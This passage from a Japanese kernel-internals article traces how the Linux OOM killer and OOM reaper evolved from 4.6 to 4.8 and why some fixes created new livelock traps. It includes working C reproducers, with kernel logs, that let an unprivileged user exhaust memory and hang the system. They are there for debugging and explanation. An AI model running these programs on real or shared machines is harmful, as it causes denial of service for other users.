なお、全てのスレッドが mm_struct を解放したときに呼ばれる mmput() の処理は呼ばれていませんが、回収可能なメモリは粗方回収されたとみなすことができるため、 OOM reaper が正常に動作できた場合( mmap_sem を共有モードで取得できた場合)には、 TIF_MEMDIE フラグをクリアし、そのスレッドを含むスレッドグループが再度 OOM killer により選択されないようにするために、 oom_score_adj に -1000 を設定しています。(罠7)

スレッド終了時の流れは Linux 4.5 と同じであるため省略します。

(罠7)は、 OOM livelock 状態に陥る可能性がある箇所です。でも、どうして罠になりうるのでしょうか?

まずは、 OOM reaper が TIF_MEMDIE をクリアしている理由についてです。

OOM killer は、( oom_score_adj の値を加味した上で)最もメモリをたくさん消費しているプロセスを強制終了させる候補にしますが、 (kill8) で説明したとおり、 OOM killer により強制終了させることが妥当な子プロセスが存在する場合には、その子プロセスを選択します。そして、親プロセスがどんなにメモリをたくさん消費していたとしても、子プロセスのメモリ消費は限りなく 0 に近いという状況もありえます。例えば、以下のように、メモリ消費が限りなく 0 に近い子プロセスを OOM killer に選択させると、 OOM reaper は殆どメモリを回収することができません。

---------- oom-write.c ----------
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char *argv[])
{
        unsigned long size;
        char *buf = NULL;
        unsigned long i;
        for (i = 0; i < 10; i++) {
                if (fork() == 0) {
                        close(1);
                        open("/tmp/file", O_WRONLY | O_CREAT | O_APPEND, 0600);
                        execl("./write", "./write", NULL);
                        _exit(1);
                }
        }
        for (size = 1048576; size < 512UL * (1 << 30); size <<= 1) {
                char *cp = realloc(buf, size);
                if (!cp) {
                        size >>= 1;
                        break;
                }
                buf = cp;
        }
        sleep(5);
        /* Will cause OOM due to overcommit */
        for (i = 0; i < size; i += 4096)
                buf[i] = 0;
        pause();
        return 0;
}
---------- oom-write.c ----------
---------- write.asm ----------
; nasm -f elf write.asm && ld -s -m elf_i386 -o write write.o
section .text
    CPU 386
    global _start
_start:
; whlie (write(1, buf, 4096) == 4096);
    mov eax, 4 ; NR_write
    mov ebx, 1
    mov ecx, _start - 96
    mov edx, 4096
    int 0x80
    cmp eax, 4096
    je _start
; pause();
    mov eax, 29 ; NR_pause
    int 0x80
; _exit(0);
    mov eax, 1 ; NR_exit
    mov ebx, 0
    int 0x80
---------- write.asm ----------
---------- 実行結果例 ここから ----------
[   78.157198] oom-write invoked oom-killer: order=0, oom_score_adj=0, gfp_mask=0x24280ca(GFP_HIGHUSER_MOVABLE|GFP_ZERO)
(...snipped...)
[   78.325409] [ 3805]  1000  3805   541715   357876     708       6        0             0 oom-write
[   78.327978] [ 3806]  1000  3806       39        1       3       2        0             0 write
[   78.330149] [ 3807]  1000  3807       39        1       3       2        0             0 write
[   78.332167] [ 3808]  1000  3808       39        1       3       2        0             0 write
[   78.334488] [ 3809]  1000  3809       39        1       3       2        0             0 write
[   78.336471] [ 3810]  1000  3810       39        1       3       2        0             0 write
[   78.338414] [ 3811]  1000  3811       39        1       3       2        0             0 write
[   78.340709] [ 3812]  1000  3812       39        1       3       2        0             0 write
[   78.342711] [ 3813]  1000  3813       39        1       3       2        0             0 write
[   78.344727] [ 3814]  1000  3814       39        1       3       2        0             0 write
[   78.346613] [ 3815]  1000  3815       39        1       3       2        0             0 write
[   78.348829] Out of memory: Kill process 3805 (oom-write) score 808 or sacrifice child
[   78.350818] Killed process 3806 (write) total-vm:156kB, anon-rss:4kB, file-rss:0kB, shmem-rss:0kB
[   78.455314] oom-write invoked oom-killer: order=0, oom_score_adj=0, gfp_mask=0x24280ca(GFP_HIGHUSER_MOVABLE|GFP_ZERO)
(...snipped...)
[   78.631333] [ 3805]  1000  3805   541715   361440     715       6        0             0 oom-write
[   78.633802] [ 3807]  1000  3807       39        1       3       2        0             0 write
[   78.635977] [ 3808]  1000  3808       39        1       3       2        0             0 write
[   78.638325] [ 3809]  1000  3809       39        1       3       2        0             0 write
[   78.640463] [ 3810]  1000  3810       39        1       3       2        0             0 write
[   78.642837] [ 3811]  1000  3811       39        1       3       2        0             0 write
[   78.644924] [ 3812]  1000  3812       39        1       3       2        0             0 write
[   78.646990] [ 3813]  1000  3813       39        1       3       2        0             0 write
[   78.649039] [ 3814]  1000  3814       39        1       3       2        0             0 write
[   78.651242] [ 3815]  1000  3815       39        1       3       2        0             0 write
[   78.653326] Out of memory: Kill process 3805 (oom-write) score 816 or sacrifice child
[   78.655235] Killed process 3807 (write) total-vm:156kB, anon-rss:4kB, file-rss:0kB, shmem-rss:0kB
[   88.776446] MemAlloc-Info: 1 stalling task, 1 dying task, 1 victim task.
[   88.778228] MemAlloc: systemd-journal(481) seq=17 gfp=0x24280ca order=0 delay=10000
[   88.780158] MemAlloc: write(3807) uninterruptible dying victim
(...snipped...)
[   98.915687] MemAlloc-Info: 8 stalling task, 1 dying task, 1 victim task.
[   98.917888] MemAlloc: kthreadd(2) seq=12 gfp=0x27000c0 order=2 delay=14885 uninterruptible
[   98.920297] MemAlloc: systemd-journal(481) seq=17 gfp=0x24280ca order=0 delay=20139
[   98.922652] MemAlloc: irqbalance(1710) seq=3 gfp=0x24280ca order=0 delay=16231
[   98.924874] MemAlloc: vmtoolsd(1908) seq=1 gfp=0x2400240 order=0 delay=20044
[   98.927043] MemAlloc: pickup(3680) seq=1 gfp=0x2400240 order=0 delay=10230 uninterruptible
[   98.929405] MemAlloc: nmbd(3713) seq=1 gfp=0x2400240 order=0 delay=14716
[   98.931559] MemAlloc: oom-write(3805) seq=12718 gfp=0x24280ca order=0 delay=14887
[   98.933843] MemAlloc: write(3806) seq=29813 gfp=0x2400240 order=0 delay=14887 uninterruptible exiting
[   98.936460] MemAlloc: write(3807) uninterruptible dying victim
(...snipped...)
[  140.356230] MemAlloc-Info: 9 stalling task, 1 dying task, 1 victim task.
[  140.358448] MemAlloc: kthreadd(2) seq=12 gfp=0x27000c0 order=2 delay=56326 uninterruptible
[  140.360979] MemAlloc: systemd-journal(481) seq=17 gfp=0x24280ca order=0 delay=61580 uninterruptible
[  140.363716] MemAlloc: irqbalance(1710) seq=3 gfp=0x24280ca order=0 delay=57672
[  140.365983] MemAlloc: vmtoolsd(1908) seq=1 gfp=0x2400240 order=0 delay=61485 uninterruptible
[  140.368521] MemAlloc: pickup(3680) seq=1 gfp=0x2400240 order=0 delay=51671 uninterruptible
[  140.371128] MemAlloc: nmbd(3713) seq=1 gfp=0x2400240 order=0 delay=56157 uninterruptible
[  140.373548] MemAlloc: smbd(3734) seq=1 gfp=0x27000c0 order=2 delay=48147
[  140.375722] MemAlloc: oom-write(3805) seq=12718 gfp=0x24280ca order=0 delay=56328 uninterruptible
[  140.378647] MemAlloc: write(3806) seq=29813 gfp=0x2400240 order=0 delay=56328 exiting
[  140.381695] MemAlloc: write(3807) uninterruptible dying victim
(...snipped...)
[  150.493557] MemAlloc-Info: 7 stalling task, 1 dying task, 1 victim task.
[  150.495725] MemAlloc: kthreadd(2) seq=12 gfp=0x27000c0 order=2 delay=66463
[  150.497897] MemAlloc: systemd-journal(481) seq=17 gfp=0x24280ca order=0 delay=71717 uninterruptible
[  150.500490] MemAlloc: vmtoolsd(1908) seq=1 gfp=0x2400240 order=0 delay=71622 uninterruptible
[  150.502940] MemAlloc: pickup(3680) seq=1 gfp=0x2400240 order=0 delay=61808
[  150.505122] MemAlloc: nmbd(3713) seq=1 gfp=0x2400240 order=0 delay=66294 uninterruptible
[  150.507521] MemAlloc: smbd(3734) seq=1 gfp=0x27000c0 order=2 delay=58284
[  150.509678] MemAlloc: oom-write(3805) seq=12718 gfp=0x24280ca order=0 delay=66465 uninterruptible
[  150.512333] MemAlloc: write(3807) uninterruptible dying victim
---------- 実行結果例 ここまで ----------

そのため、 OOM reaper が OOM 状態を解消するのに充分な量のメモリを回収できなかった場合には、 OOM livelock 状態に陥ってしまいます。これを避けるために、メモリを回収した後に TIF_MEMDIE をクリアするようにしています。

次に、 OOM reaper が oom_score_adj に -1000 を設定する理由についてです。

OOM killer により選ばれた子プロセスのメモリを OOM reaper が回収した後も、その子プロセスが mm_struct を解放するまでは OOM killer により再度選択されてしまいます。既に回収可能なメモリを回収したプロセスを OOM killer が選択しても、 OOM reaper はそれ以上回収できないため、 OOM livelock 状態に陥ってしまいます。これを避けるために、 -1000 を設定するようにしています。(罠8)

しかし、この挙動は、 Linux 4.5 までは一般ユーザの権限では発生させられなかった OOM livelock 状態を Linux 4.6 では一般ユーザの権限で発生させることができてしまうという新しい罠を発生させてしまいました。どのような場合に(罠8)を踏むことになるか、お気づきでしょうか?ヒントは「ひねくれ者のマルチスレッド」です。


clone() システムコールに CLONE_VM を指定して CLONE_SIGHAND を指定しなかった場合、同じ mm_struct を参照しているのに異なる /proc/$pid/oom_score_adj を持つスレッドグループが作成されます。

OOM killer は、同じ mm_struct を参照している全てのスレッドの中から、1個のスレッドだけに TIF_MEMDIE を設定します。そして、 OOM reaper は、そのスレッドから TIF_MEMDIE をクリアするのと同時に、そのスレッドを含むスレッドグループの oom_score_adj だけを -1000 に設定します。

その結果、同じ mm_struct を参照しているスレッドグループの内、1つだけが「 OOM killer により強制終了させるのが妥当ではない/ OOM reaper によりメモリを回収するのが妥当ではない」状態で、それ以外は「 OOM killer により強制終了させるのが妥当である」状態という、「超ひねくれ者のマルチスレッド」を作り出すことができてしまいました。

---------- oom-write2.c ----------
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>

static int writer(void *unused)
{
        static char buffer[4096];
        int fd = open("/tmp/file", O_WRONLY | O_CREAT | O_APPEND, 0600);
        while (write(fd, buffer, sizeof(buffer)) == sizeof(buffer));
        return 0;
}

int main(int argc, char *argv[])
{
        unsigned long size;
        char *buf = NULL;
        unsigned long i;
        if (fork() == 0) {
                int fd = open("/proc/self/oom_score_adj", O_WRONLY);
                write(fd, "1000", 4);
                close(fd);
                for (i = 0; i < 2; i++) {
                        char *stack = malloc(4096);
                        if (stack)
                                clone(writer, stack + 4096, CLONE_VM, NULL);
                }
                writer(NULL);
                while (1)
                        pause();
        }
        sleep(1);
        for (size = 1048576; size < 512UL * (1 << 30); size <<= 1) {
                char *cp = realloc(buf, size);
                if (!cp) {
                        size >>= 1;
                        break;
                }
                buf = cp;
        }
        sleep(5);
        /* Will cause OOM due to overcommit */
        for (i = 0; i < size; i += 4096)
                buf[i] = 0;
        pause();
        return 0;
}
---------- oom-write2.c ----------
---------- 実行結果例 ここから ----------
[  177.722853] a.out invoked oom-killer: gfp_mask=0x24280ca(GFP_HIGHUSER_MOVABLE|__GFP_ZERO), order=0, oom_score_adj=0
[  177.724956] a.out cpuset=/ mems_allowed=0
[  177.725735] CPU: 3 PID: 3962 Comm: a.out Not tainted 4.5.0-rc2-next-20160204 #291
(...snipped...)
[  177.802889] [ pid ]   uid  tgid total_vm      rss nr_ptes nr_pmds swapents oom_score_adj name
(...snipped...)
[  177.872248] [ 3941]  1000  3941    28880      124      14       3        0             0 bash
[  177.874279] [ 3962]  1000  3962   541717   395780     784       6        0             0 a.out
[  177.876274] [ 3963]  1000  3963     1078       21       7       3        0          1000 a.out
[  177.878261] [ 3964]  1000  3964     1078       21       7       3        0          1000 a.out
[  177.880194] [ 3965]  1000  3965     1078       21       7       3        0          1000 a.out
[  177.882262] Out of memory: Kill process 3963 (a.out) score 998 or sacrifice child
[  177.884129] Killed process 3963 (a.out) total-vm:4312kB, anon-rss:84kB, file-rss:0kB, shmem-rss:0kB
[  177.887100] oom_reaper: reaped process :3963 (a.out) anon-rss:0kB, file-rss:0kB, shmem-rss:0lB
[  179.638399] crond invoked oom-killer: gfp_mask=0x24201ca(GFP_HIGHUSER_MOVABLE|__GFP_COLD), order=0, oom_score_adj=0
[  179.647708] crond cpuset=/ mems_allowed=0
[  179.652996] CPU: 3 PID: 742 Comm: crond Not tainted 4.5.0-rc2-next-20160204 #291
(...snipped...)
[  179.771311] [ pid ]   uid  tgid total_vm      rss nr_ptes nr_pmds swapents oom_score_adj name
(...snipped...)
[  179.836221] [ 3941]  1000  3941    28880      124      14       3        0             0 bash
[  179.838278] [ 3962]  1000  3962   541717   396308     785       6        0             0 a.out
[  179.840328] [ 3963]  1000  3963     1078        0       7       3        0         -1000 a.out
[  179.842443] [ 3965]  1000  3965     1078        0       7       3        0          1000 a.out
[  179.844557] Out of memory: Kill process 3965 (a.out) score 998 or sacrifice child
[  179.846404] Killed process 3965 (a.out) total-vm:4312kB, anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
---------- 実行結果例 ここまで ----------

その結果、1回目の OOM reaper 呼び出しにより回収済みとなったスレッドグループは、2回目以降の OOM reaper 呼び出しが行われなくなり、誰も TIF_MEMDIE フラグをクリアしないために、 OOM livelock 状態に陥ってしまった訳です。

もし、 (kill10) の中で、 OOM killer により強制終了させることが妥当なスレッドグループであるかどうかを判断する際に、既に SIGKILL シグナルを受信しているかどうかも確認するようになっていれば、 OOM reaper を呼び出すことができ、 OOM livelock 状態に陥ることは無かった筈です。

その反省から、 Linux 4.7 では全てのスレッドグループの oom_score_adj を -1000 に設定する代わりに、 mm_struct に対して MMF_OOM_REAPED というフラグをセットするように変更されました。このように、何が起こるかを予想できない OOM 状況下の処理は、常に最悪の事態を想定して備えておくことが大切です。


5.3 Linux 4.7 における OOM killer の流れ

ということで、 Linux 4.7 時点での、 OOM killer の流れを説明します。

(kill1)

order が 3 以下のメモリ割り当て要求、あるいは、 __GFP_NOFAIL フラグを含むメモリ割り当て要求が行われたものの、空きメモリを確保できなかった( OOM 状態が発生した)ことにより、 out_of_memory() ( OOM killer )が呼ばれます。

(kill2)

カレントスレッドが既に SIGKILL シグナルを受信している場合、あるいは、カレントスレッドを含むスレッドグループが既に終了しかけている( SIGNAL_GROUP_EXIT フラグが付与されている)スレッドの場合、カレントスレッドを含むスレッドグループが mm_struct を解放することで空きメモリが生まれる可能性があるため、必要以上にプロセスを強制終了させないようにするために、カレントスレッドに TIF_MEMDIE フラグを付与します。

また、その mm_struct を使用しているスレッドグループが全て終了しかけている場合、 OOM reaper の呼び出しも行います。

その後、呼び出し元に戻ります。

__GFP_FS フラグも __GFP_NOFAIL フラグも含まないメモリ割り当て要求である場合、何もせずに呼び出し元に戻ります。

(kill3)

Linux 4.5 の (kill3) と同じであるため省略します。

(kill4)

select_bad_process() は、システム上に存在する全てのスレッドグループに対して oom_scan_process_thread() を呼び出します。

それ以外は Linux 4.5 の (kill4) と同様です。

(kill5)

oom_scan_process_thread() は、そのスレッドグループが OOM killer により強制終了させる候補になりうるかどうかの判断を行います。

TIF_MEMDIE フラグの有無の検査は、スレッド単位ではなく、そのスレッドを含むスレッドグループ単位で行われるようになりました。

それ以外は Linux 4.6 の (kill5) と同様です。

(kill6)

oom_badness() は、そのスレッドが OOM 状態にどの程度寄与しているかの判断を行います。

強制終了させることが妥当かどうかの判断に、 oom_score_adj の値が -1000 かどうかだけでなく、 MMF_OOM_REAPED フラグの有無も検査するようになりました。

それ以外は Linux 4.5 の (kill6) と同様です。

(kill7)

Linux 4.5 の (kill7) と同じであるため省略します。

(kill8)

oom_kill_process() は、実際に SIGKILL シグナルを送信して強制終了させるための処理を行います。

まず、既に終了しかけているスレッドグループの場合、そのスレッドグループが mm_struct を解放することで空きメモリが生まれる可能性があるため、必要以上にプロセスを強制終了させないようにするために、そのスレッドに TIF_MEMDIE フラグを付与します。

また、その mm_struct を使用しているスレッドグループが全て終了しかけている場合、 OOM reaper の呼び出しも行います。

その後、呼び出し元に戻ります。

(kill9)

Linux 4.5 の (kill9) と同じであるため省略します。

(kill10)

Linux 4.6 の (kill10)と同じであるため省略します。

(kill11)

mmap_sem の取得に成功した場合、 oom_score_adj に -1000 を設定する代わりに、その mm_struct に対して MMF_OOM_REAPED というフラグを設定しています。

それ以外は Linux 4.6 の (kill11) と同様です。

Linux 4.6 時点では、 mmap() を使うことで down_write(&mm->mmap_sem) による競合を発生させ、 OOM reaper の動作を妨害することで OOM livelock 状態を発生させることができていました。そのため、 Linux 4.7 では down_write_killable() が導入され、 down_write(&mm->mmap_sem) が down_write_killable(&mm->mmap_sem) に置き換えられたことで、 exit_mm() 内の down_read(&mm->mmap_sem) で動けなくなる可能性がかなり減少しました。

それでも、 down_write_killable(&mm->mmap_sem) から up_write(&mm->mmap_sem) までの間の unkillable wait で動けなくなる可能性は残っています。例えば、以下のようなプログラムを実行した場合に発生します。

---------- torture8.c ----------
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/mman.h>

static int memory_eater(void *unused)
{
        const int fd = open("/proc/self/exe", O_RDONLY);
        srand(getpid());
        while (1) {
                int size = rand() % 1048576;
                void *ptr = mmap(NULL, size, PROT_READ, MAP_PRIVATE, fd, 0);
                munmap(ptr, size);
        }
        return 0;
}

static int self_killer(void *unused)
{
        srand(getpid());
        poll(NULL, 0, rand() % 1000);
        kill(getpid(), SIGKILL);
        return 0;
}

static void child(void)
{
        static char *stack[256] = { };
        char buf[32] = { };
        int i;
        int fd = open("/proc/self/oom_score_adj", O_WRONLY);
        write(fd, "1000", 4);
        close(fd);
        snprintf(buf, sizeof(buf), "tgid=%u", getpid());
        prctl(PR_SET_NAME, (unsigned long) buf, 0, 0, 0);
        for (i = 0; i < 256; i++)
                stack[i] = malloc(4096 * 2);
        for (i = 1; i < 256 - 2; i++)
                if (clone(memory_eater, stack[i] + 8192, CLONE_THREAD | CLONE_SIGHAND | CLONE_VM, NULL) == -1)
                        _exit(1);
        if (clone(memory_eater, stack[i++] + 8192, CLONE_VM, NULL) == -1)
                _exit(1);
        if (clone(self_killer, stack[i] + 8192, CLONE_THREAD | CLONE_SIGHAND | CLONE_VM, NULL) == -1)
                _exit(1);
        _exit(0);
}

int main(int argc, char *argv[])
{
        static cpu_set_t set = { { 1 } };
        sched_setaffinity(0, sizeof(set), &set);
        if (fork() > 0) {
                char *buf = NULL;
                unsigned long size;
                unsigned long i;
                sleep(1);
                for (size = 1048576; size < 512UL * (1 << 30); size <<= 1) {
                        char *cp = realloc(buf, size);
                        if (!cp) {
                                size >>= 1;
                                break;
                        }
                        buf = cp;
                }
                /* Will cause OOM due to overcommit */
                for (i = 0; i < size; i += 4096)
                        buf[i] = 0;
                while (1)
                        pause();
        }
        while (1)
                if (fork() == 0)
                        child();
                else
                        wait(NULL);
        return 0;
}
---------- torture8.c ----------
---------- 実行結果例 ここから ----------
[  156.182149] oom_reaper: reaped process 13333 (tgid=13079), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
[  157.113150] oom_reaper: reaped process 4372 (tgid=4118), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
[  157.995910] oom_reaper: reaped process 11029 (tgid=10775), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
[  158.181043] oom_reaper: reaped process 11285 (tgid=11031), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
[  169.049766] oom_reaper: reaped process 11541 (tgid=11287), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
[  169.323695] oom_reaper: reaped process 11797 (tgid=11543), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
[  176.294340] oom_reaper: reaped process 12309 (tgid=12055), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
[  240.458346] MemAlloc-Info: stalling=16 dying=1 exiting=1 victim=0 oom_count=729
[  241.950461] MemAlloc-Info: stalling=16 dying=1 exiting=1 victim=0 oom_count=729
[  301.956044] MemAlloc-Info: stalling=19 dying=1 exiting=1 victim=0 oom_count=729
[  303.654382] MemAlloc-Info: stalling=19 dying=1 exiting=1 victim=0 oom_count=729
[  349.771068] oom_reaper: reaped process 13589 (tgid=13335), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
[  349.996636] oom_reaper: reaped process 13845 (tgid=13591), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
[  350.704767] oom_reaper: reaped process 14357 (tgid=14103), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
[  351.656833] Out of memory: Kill process 5652 (tgid=5398) score 999 or sacrifice child
[  351.659127] Killed process 5652 (tgid=5398) total-vm:6348kB, anon-rss:1116kB, file-rss:12kB, shmem-rss:0kB
[  352.664419] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  357.238418] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  358.621747] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  359.970605] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  361.423518] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  362.704023] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  363.832115] MemAlloc-Info: stalling=1 dying=3 exiting=1 victim=1 oom_count=25279
[  364.148948] MemAlloc: tgid=5398(5652) flags=0x400040 switches=266 dying victim
[  364.150851] tgid=5398       R  running task    12920  5652      1 0x00100084
[  364.152773]  ffff88000637fbe8 ffffffff8172b257 000091fa78a0caf8 ffff8800389de440
[  364.154843]  ffff880006376440 ffff880006380000 ffff880078a0caf8 ffff880078a0caf8
[  364.156898]  ffff880078a0cb10 ffff880078a0cb00 ffff88000637fc00 ffffffff81725e1a
[  364.158972] Call Trace:
[  364.159979]  [<ffffffff8172b257>] ? _raw_spin_unlock_irq+0x27/0x50
[  364.161691]  [<ffffffff81725e1a>] schedule+0x3a/0x90
[  364.163170]  [<ffffffff8172a366>] rwsem_down_write_failed+0x106/0x220
[  364.164925]  [<ffffffff813bd2c7>] call_rwsem_down_write_failed+0x17/0x30
[  364.166737]  [<ffffffff81729877>] down_write+0x47/0x60
[  364.168258]  [<ffffffff811c3284>] ? vma_link+0x44/0xc0
[  364.169773]  [<ffffffff811c3284>] vma_link+0x44/0xc0
[  364.171255]  [<ffffffff811c5c05>] mmap_region+0x3a5/0x5b0
[  364.172822]  [<ffffffff811c6204>] do_mmap+0x3f4/0x4c0
[  364.174324]  [<ffffffff811a64dc>] vm_mmap_pgoff+0xbc/0x100
[  364.175894]  [<ffffffff811c4060>] SyS_mmap_pgoff+0x1c0/0x290
[  364.177499]  [<ffffffff81002c91>] ? do_syscall_64+0x21/0x170
[  364.179118]  [<ffffffff81022b7d>] SyS_mmap+0x1d/0x20
[  364.180592]  [<ffffffff81002ccc>] do_syscall_64+0x5c/0x170
[  364.182140]  [<ffffffff8172b9da>] entry_SYSCALL64_slow_path+0x25/0x25
[  364.183855] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  365.199023] MemAlloc-Info: stalling=1 dying=3 exiting=1 victim=1 oom_count=28254
[  366.283955] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  368.158264] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  369.568325] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  371.416533] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  373.159185] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  374.835808] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  376.386226] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  378.223962] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  379.601584] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  381.067290] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  382.394818] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  383.918460] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  385.540088] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  386.915094] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  388.297575] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  391.598638] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  393.580423] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  395.744709] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  397.377497] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  399.614030] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  401.103803] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  402.484887] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  404.503755] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  406.433219] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  407.958772] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  410.094990] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  413.509253] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  416.820991] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  420.485121] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  422.302336] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  424.623738] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  425.204811] MemAlloc-Info: stalling=13 dying=3 exiting=1 victim=0 oom_count=161064
[  425.592191] MemAlloc-Info: stalling=13 dying=3 exiting=1 victim=0 oom_count=161064
[  430.507619] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  432.487807] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  436.810127] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  439.310553] oom_reaper: unable to reap pid:5652 (tgid=5398)
[  441.404857] oom_reaper: unable to reap pid:5652 (tgid=5398)
---------- 実行結果例 ここまで ----------

しかし、 mmap_sem を排他モードで取得している間に呼び出されうる全ての処理を killable に書き直すのは、エラーハンドリングが複雑になりすぎるので、現実的ではありません。そのため、 Linux 4.8 では OOM reaper が mmap_sem を共有モードで取得できない状態が2回発生した場合、既に OOM reaper による回収が済んだものとして扱われるようになります。


5.4 Linux 4.8 における OOM killer の流れ

ということで、 Linux 4.8-rc1 時点での、 OOM killer の流れを説明します。

(kill1)

Linux 4.7 の (kill1) と同じであるため省略します。

(kill2)

カレントスレッドがまだ mm_struct を解放しておらず、その mm_struct を使用しているスレッドグループが全て終了しかけている( SIGNAL_GROUP_EXIT フラグまたは PF_EXITING フラグが付与されている)場合、その mm_struct を解放することで空きメモリが生まれる可能性があるため、必要以上にプロセスを強制終了させないようにするために、カレントスレッドに TIF_MEMDIE フラグを付与し、 OOM reaper の呼び出しを行います。

それ以外は Linux 4.7 の (kill2) と同様です。

(kill3)

Linux 4.5 の (kill3) と同じであるため省略します。

(kill4)

Linux 4.7 の (kill4) と同じであるため省略します。

(kill5)

oom_scan_process_thread() は、そのスレッドグループが OOM killer により強制終了させる候補になりうるかどうかの判断を行います。

そのスレッドグループ内に TIF_MEMDIE フラグが付与されたスレッドが存在している場合、 MMF_OOM_REAPED フラグの有無を検査します。そして、 MMF_OOM_REAPED フラグが付与されている場合、そのスレッドグループを無視します。

それ以外は Linux 4.7 の (kill5) と同様です。

(kill6)

oom_badness() は、そのスレッドが OOM 状態にどの程度寄与しているかの判断を行います。

強制終了させることが妥当かどうかの判断に、 oom_score_adj の値と MMF_OOM_REAPED フラグの有無だけでなく、そのスレッドが vfork() により作成されたかどうか検査するようになりました。これは、 vfork() により作成された子プロセスは、親プロセスが使用している mm_struct を共有しているだけなので、 vfork() により作成された子プロセスを強制終了させてもほとんど意味が無いという推測に基づいています。(罠9)

それ以外は Linux 4.7 の (kill6) と同様です。

(kill7)

Linux 4.5 の (kill7) と同じであるため省略します。

(kill8)

oom_kill_process() は、実際に SIGKILL シグナルを送信して強制終了させるための処理を行います。

そのスレッドがまだ mm_struct を解放しておらず、その mm_struct を使用しているスレッドグループが全て終了しかけている場合、その mm_struct を解放することで空きメモリが生まれる可能性があるため、必要以上にプロセスを強制終了させないようにするために、そのスレッドに TIF_MEMDIE フラグを付与し、 OOM reaper の呼び出しを行い、呼び出し元に戻ります。

(kill9)

Linux 4.5 の (kill9) と同じであるため省略します。

(kill10)

その mm_struct を使用している他のスレッドグループに対しても、 OOM killer により強制終了させることが妥当なスレッドグループであれば SIGKILL シグナルを送信します。この際、 oom_score_adj の値は無視します。これは、( oom_score_adj の値は /proc/$pid/oom_score_adj から変更できますが、)同じ mm_struct を共有している複数の $pid が異なる oom_score_adj の値を持っている状態を認める理由が見当たらないという推測により、( vfork() された場合を除いて)同じ mm_struct を共有しているスレッドグループ間では同じ oom_score_adj の値を共有するように修正されたためです。(罠10)

また、 mm_struct を共有しているのが(終了するとカーネルパニックが発生する) init プロセスまたは(強制終了させるのが妥当ではない)カーネルスレッドの場合、 OOM reaper を呼び出すことができません。 OOM reaper を呼び出すことができないことにより OOM livelock 状態に陥るのを回避するため、その mm_struct に対して MMF_OOM_REAPED フラグをセットすることで、 (kill5) の検査において、その mm_struct が無視されるようにします。(罠11)

それ以外はLinux 4.6 の (kill10) と同様です。

(kill11)

mmap_sem の取得に2回失敗した場合、その mm_struct に対して MMF_OOM_REAPED というフラグを設定します。

それ以外は Linux 4.7 の (kill11) と同様です。

せっかく「 OOM killer が発動できた場合に OOM livelock 状態に陥る」問題への対処を始めたのだから、単に OOM livelock 状態に陥る確率を減らすだけでなく、 OOM killer が発動できる限りは OOM livelock 状態に陥らないことを証明できるようにしたいですよね?ですので、 Linux 4.8 では、証明できるようになることを目指して現在進行中です。

Linux 4.6 までの task_will_free_mem() はスレッド単位、 Linux 4.7 ではスレッドグループ単位での検査を行っていましたが、 Linux 4.8 では mm_struct 単位での検査を行うようになります。しかし、スレッド単位かスレッドグループ単位か mm_struct 単位かを問わず、同じスレッドに対して out_of_memory() から task_will_free_mem() のショートカットを永遠に利用できるようになっている限り、 OOM livelock 状態が発生する可能性が残ってしまいます。そのため、 Linux 4.8 では、 (kill2) において、既に OOM reaper による回収が済んでいる場合には task_will_free_mem() のショートカットを利用できないように変更されます。

